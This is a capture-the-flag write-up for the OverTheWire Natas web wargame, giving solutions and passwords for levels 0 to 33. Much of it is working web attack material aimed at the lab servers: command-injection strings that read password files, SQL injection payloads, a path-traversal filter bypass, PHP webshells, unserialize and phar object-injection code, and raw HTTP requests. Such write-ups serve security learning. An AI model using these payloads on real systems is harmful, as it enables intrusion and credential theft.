Avishai's CTF Writeups

...

View on GitHub

← Back to OverTheWire

This folder contains solutions for the Natas wargame from OverTheWire.

natas00

f12, the password is in the source code

Flag: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

Next Level Writeup

natas01

ctrl+U, same as before

Flag: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI

Next Level Writeup

natas02

in the source code there is a pixel.png, then by going to the folder u can find the directory “files”. then, go to http://natas2.natas.labs.overthewire.org/files/users.txt

Flag: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

Next Level Writeup

natas03

go to robots.txt http://natas3.natas.labs.overthewire.org/robots.txt then, go to the secret dir: /s3cr3t/ there you can find the password in the url: http://natas3.natas.labs.overthewire.org//s3cr3t/users.txt

Flag: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Next Level Writeup

natas04

in this challenge we need to fake our referrer, we can do it using this script [level4.py]

{% include_relative scripts/level4.py %}

Flag: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

Next Level Writeup

natas05

in this challenge, all you need to do is to change the value of the cookie: loggedin to 1.

Flag: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned

Next Level Writeup

natas06

here, you can see in the source code that it includes the file includes/secret.inc, so let’s go there: http://natas6.natas.labs.overthewire.org/includes/secret.inc

then we can see the secret which is FOEIUWGHFEEUHOFUOIU

Flag: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Next Level Writeup

natas07

here we can see it prints the content of the file that the param page gets. so, let’s give him the path to the password which is /etc/natas_webpass/natas8

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

Flag: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Next Level Writeup

natas08

in this challenge i check what the secret needs to be, by running the reverse procedure.

alt text

the secret is oubWYf2kBq

Flag: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

Next Level Writeup

natas09

in this challenge we use command injection, this is the vuln part: passthru("grep -i $key dictionary.txt");

and this is the payload we gives ; cat /etc/natas_webpass/natas10

Flag: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Next Level Writeup

natas10

in this challenge we use command injection, this is the vuln part: passthru("grep -i $key dictionary.txt");

here we can’t use ;, so we will use this payload we gives a /etc/natas_webpass/natas11 if you don’t get the password for ‘a’, try insert different characters.

Flag: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Next Level Writeup

natas11
<?
$defaultData = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$jsonEncodedData = json_encode($defaultData);

$defDecoded = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=';
$decodedDef = base64_decode($defDecoded);

$outText = '';
for($i=0;$i<min(strlen($jsonEncodedData),strlen($decodedDef));$i++) {
    $outText .= $jsonEncodedData[$i] ^ $decodedDef[$i];
}

echo ($outText);
?>

by running this code i can find the key, which is eDWo

now, we will create the payload with yes in the key showpassword

<?
$defaultdata = array("showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'eDWo';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)]; 
    }

    return $outText;
}

echo base64_encode(xor_encrypt(json_encode($defaultdata)));
?>

this give us HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5

and then, all left is to put it in the cookie data

Flag: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

Next Level Writeup

natas12

here we inject webshell, by changing the EXT of the tmp file we upload, as you can see below

alt text

then, we go to upload/yw04l1863l.php which is the url

http://natas12.natas.labs.overthewire.org/upload/yw04l1863l.php

and inject our payload, in this case: ?x=cd /etc/natas_webpass/; cat natas13

Flag: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

Next Level Writeup

natas13

here we inject webshell, but here we add the header of jpeg file in the begin of the content, because the php code use the func exif_imagetype

alt text

then, we go to upload/h0854v8rab.php which is the url

http://natas13.natas.labs.overthewire.org/upload/h0854v8rab.php

and inject our payload, in this case: ?x=cd /etc/natas_webpass/; cat natas14

Flag: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

Next Level Writeup

natas14

this challenge is basic sql injection. we’ll insert in the username this payload " or 1#

Flag: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Next Level Writeup

natas15

this challenge is another sql injection. here we do brute force, the source code is here [level15]

{% include_relative scripts/level15.py %}

Flag: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Next Level Writeup

natas16

here we inject this payload: $(grep -E ^{password} /etc/natas_webpass/natas17)African. if the password is in the file, so the word ??African won’t be in the dictionary. here we do brute force, the source code is here [level16]

{% include_relative scripts/level16.py %}

Flag: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

Next Level Writeup

natas17

this is another sql injection, based on time side channel attack. this is the source code [level17]

{% include_relative scripts/level17.py %}

Flag: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ

Next Level Writeup

natas18

in this challenge we know there is a session for the admin, and the sessions can be detected using the cookie. so, let’s brute force those 640 options until finding the session of the admin. this is the source code [level18]

{% include_relative scripts/level18.py %}

Flag: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr

Next Level Writeup

natas19

This challenge is almost the same as the previous challenge, the only difference is that the cookie now is hex(session-admin) in this challenge we know there is a session for the admin, and the sessions can be detected using the cookie. so, let’s brute force those 640 options until finding the session of the admin.

this is the source code [level19]

{% include_relative scripts/level19.py %}

Flag: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

Next Level Writeup

natas20

here we exploit a logic error in the source code. we give this input

hello 
admin 1

and after 2 entrances we’ll get the password.

http://natas20.natas.labs.overthewire.org/index.php?name=hello%0Aadmin%201

Flag: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

Next Level Writeup

natas21

i can give it in the HTTP post every pare of key,value i want. image

i used burp suite: image

then, return to the original website. remember to use the same PHPSESS cookie.

Flag: d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz

Next Level Writeup

natas22

here if you give the get param: revelio it tries to redirect you. i wrote simple script [level22.py]

{% include_relative scripts/level22.py %}

and disabled the redirection

Flag: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs

Next Level Writeup

natas23

give this as input: 123iloveyou123456

Flag: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd

Next Level Writeup

natas24

this is the url http://natas24.natas.labs.overthewire.org/?passwd[]=%27%27

It interprets passwd as an array where passwd[0] = ‘’ then, it crashed and pass the check.

Flag: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws

Next Level Writeup

natas25

Here, we bypass the Path traversal detection

if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
}

by simply providing something like this, ....//logs/mylog.log, and then it removes only the first instance.

Then, we can see it appends our User-Agent to the log file that is accessible for us, so let’s put in the User-Agent the value: <? include "/etc/natas_webpass/natas26" ?>

FLAG

Flag: cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE

Next Level Writeup

natas26

Here we exploit the unserialize function, we manage to get RCE.

<?php
class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="<?php system(\$_GET['cmd']); ?>";
            $this->logFile = "/var/www/natas/natas26/img/eli-copter-webshell.php";

        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        // That's what is really happening
        function __destruct(){
            // write exit message
            // $fd=fopen($this->logFile,"a+");
            // fwrite($fd,$this->exitMsg);
            // fclose($fd);
        }
    }
  
  $logger = [new Logger("")];
  echo base64_encode(serialize($logger));
?>

We inject the output of this program, which is:

YToxOntpOjA7Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo1MDoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvZWxpLWNvcHRlci13ZWJzaGVsbC5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czoyMjoiIy0tc2Vzc2lvbiBzdGFydGVkLS0jCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO319

into the cookie drawing. Then, when it get’s unserialize, it executes the __destrcut function and writing our php code to the webshell file.

Notice, our webshell will be in the /img folder, because we got access to the folder, and can write our own files there

Then, after creating the webshell, we can echo the password. It doesn’t work using cat, so i simply used head.

http://natas26.natas.labs.overthewire.org/img/eli-copter-webshell.php?cmd=head%20/etc/natas_webpass/natas27

Flag: u3RRffXjysjgwFU6b9xa23i6prmUsYne

Next Level Writeup

natas27

As we can see, the username size is 64 chars.

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

When we create user, it checks whether i give spaces at the begin \ end

if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }

And if not, it’ll insert the username and password, but with substr of 64 chars

$user=mysqli_real_escape_string($link, substr($usr, 0, 64));    

By this way, we can insert for example: 'natas28' + ' '57 + 'a', which after substr leave us with natas28 and a lot of spaces… however, this is the same as natas28. Then, we manage to inject our own user natas28, with blank password for example, and then when asking for natas28 + ' '57, we get the flag :)

It works because the check using trim working only in createUser and not in checkCredentials

Flag: 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj

Next Level Writeup

natas28

This is the source code.

It about SQLi and exploit of AES-ECB mode.

{% include_relative scripts/level28.py %}
Enter SQL query (without 'union all'): select database()
[+] Query Results:
  - natas28
Enter SQL query (without 'union all'): select table_name from information_schema.tables where table_schema=0x6e617461733238
[+] Query Results:
  - jokes
  - users
Enter SQL query (without 'union all'): select column_name from information_schema.columns where table_name=0x7573657273
[+] Query Results:
  - username
  - password
Enter SQL query (without 'union all'): select password from users
[+] Query Results:
  - 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns

Flag: 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns

Next Level Writeup

natas29

We can see it gets a file and reads it, using perl.

From here piping in open function perl, we can see that if you supply | and then cmd else, it will execute cmd.

also, we need to supply %00 to null terminate the string at the end. (perl is based on C).

  • input:

    http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00

  • output:

    index.pl perl underground 2.txt perl underground 3.txt perl underground 4.txt perl underground 5.txt perl underground.txt

Okay, so let’s read the password:

  • input:

    |more%20/etc/natas_webpass/natas29%20-l%00

  • output:

    no output, gets meeeeeep!, probably it WAFing the word natas

Let’s try bypassing, by using regex, like nata*

  • input:

    |more%20/etc/nata*/nata*30%20-l%00

  • output:

    :::::::::::::: /etc/natas_webpass/natas30 :::::::::::::: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH

I’m using more because cat, head and tail not working.

Flag: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH

Next Level Writeup

natas30

I searched in google and faced some interesting results. sqli in quote perl function

Basiccaly, that’s what it says:

You see, param is context-sensitive. In scalar context, if the parameter has a single value (name=foo), it returns that value, and if the parameter has multiple values (name=foo&name=bar) it returns an arrayref. In list context, it returns a list of values, whether there are zero, one, or many. The argument list of a method (such as quote) is a list context. That means that someone using your app can cause quote to receive two values, and quote’s optional second argument is an SQL data type that the first argument should be treated as. If the data type is a non-string type like NUMERIC, then quote will pass its first argument through without any quoting. This constitutes an opportunity for SQL injection. (is-perl-function-dbh-quote-still-secure)

So, we’ll supply this: username='natas31'+--&username=4&password=pass

Then, it will interpret username as 'natas31' --, and then when it’ll run the query Select * FROM users where username ='natas31' -- password ='pass' However, the -- will comment the rest of the query…

Flag: m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y

Next Level Writeup

natas31

You can have a look in this paper, it explains the vulnerability. perl sucks + camels

When we supply 2 files, it checks whether one of them has a filename, and then taking the first one.

In addition, usually what happens when it loops through the files, and just getting random string which is the handle of the file.

while (<$file>) {

However, if we supply ARGV as the file-content, it’ll loop through the args and insert them into open function. By this way we can read /etc/natas_webpass/natas32.

Even more, we can get RCE as we saw in natas30, by supplying the | character.

POST /index.pl?/etc/natas_webpass/natas32 HTTP/1.1
Host: natas31.natas.labs.overthewire.org
Content-Length: 433
Cache-Control: max-age=0
Authorization: Basic bmF0YXMzMTptN2JmakFIcEptU1lnUVdXZXFSRTJxVkJ1TWlSTnEweQ==
Origin: http://natas31.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybY5URDoaIvWBSm4C
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://natas31.natas.labs.overthewire.org/index.pl
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: keep-alive

------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file"; 
Content-Type: application/octet-stream

ARGV
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file"; filename="sample"
Content-Type: application/octet-stream

bla
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundarybY5URDoaIvWBSm4C--

Flag image

Flag: NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B

Next Level Writeup

natas32

This time, this is exactly like we talked natas31, that we can execute RCE

So, let’s execute ls

  • input
    /index.pl?ls%20.%20
  • output

    .: total 156 drwxr-x— 5 natas32 natas32 4096 Apr 10 14:18 bootstrap-3.3.6-dist -rwsrwx— 1 root natas32 16096 Apr 10 14:18 getpassword -rw-r–r– 1 root root 9740 Apr 10 14:18 index-source.html -r-xr-x— 1 natas32 natas32 2968 Apr 10 14:18 index.pl -r-xr-x— 1 natas32 natas32 97180 Apr 10 14:18 jquery-1.12.3.min.js -r-xr-x— 1 natas32 natas32 16877 Apr 10 14:18 sorttable.js drwxr-x— 2 natas32 natas32 4096 Jul 11 14:23 tmp

  • input
    /index.pl?./getpassword%20
  • output

    2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ

Fine, let’s execute get password:

POST /index.pl?./getpassword%20| HTTP/1.1
Host: natas32.natas.labs.overthewire.org
Content-Length: 433
Cache-Control: max-age=0
Authorization: Basic bmF0YXMzMjpOYUlXaFcyVklyS3FyYzdhcm9KVkhPWnZrM1JRTWkwQg==
Origin: http://natas32.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybY5URDoaIvWBSm4C
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://natas31.natas.labs.overthewire.org/index.pl
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: keep-alive

------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file"; 
Content-Type: application/octet-stream

ARGV
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="file"; filename="sample"
Content-Type: application/octet-stream

bla
------WebKitFormBoundarybY5URDoaIvWBSm4C
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundarybY5URDoaIvWBSm4C--

Flag image

Flag: 2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ

Next Level Writeup

natas33

There is a vuln that was shwen in black hat conference, in 2018, that can be found here PHP Unserialization vuln - Black Hat.

When we use the phar wrapper, there are several functions that unserilized the metadata, include md5_file function.

So, if we’ll supply .phar file, we can simply override the Executor, and then setting our own signature and filename. (I simply set the signature to true, because any string which isn’t empty string equal to true, when comparing using == and not ===).

So first, let’s upload our webshell, which is called webshell_770.php:

<?php system($_GET['cmd']); ?>

shell upload

Then, we will create our my_sol.phar file, and upload it using the filename: phar:///natas33/upload/my_sol.phar (I want that it’ll treat it as a phar archive)

show phar

  <?php

  class Executor{
      private $filename="/natas33/upload/webshell_770.php";
      private $signature=true;
      private $init=False;

      function __construct(){}
      function __destruct(){}
    }
    // create new Phar
    $phar = new Phar('my_sol.phar');
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar['bla'] = 'bla';

    $executor = new Executor();
    $phar->setMetadata($executor);
    $phar->stopBuffering();
?>

Now, we need to upload our my_sol.phar phar upload

And lastly, ask for phar:///natas33/upload/my_sol.phar Flag image

Flag: j4O7Q7Q5er5XFRCepmyXJaWCSIrslCJY

Next Level Writeup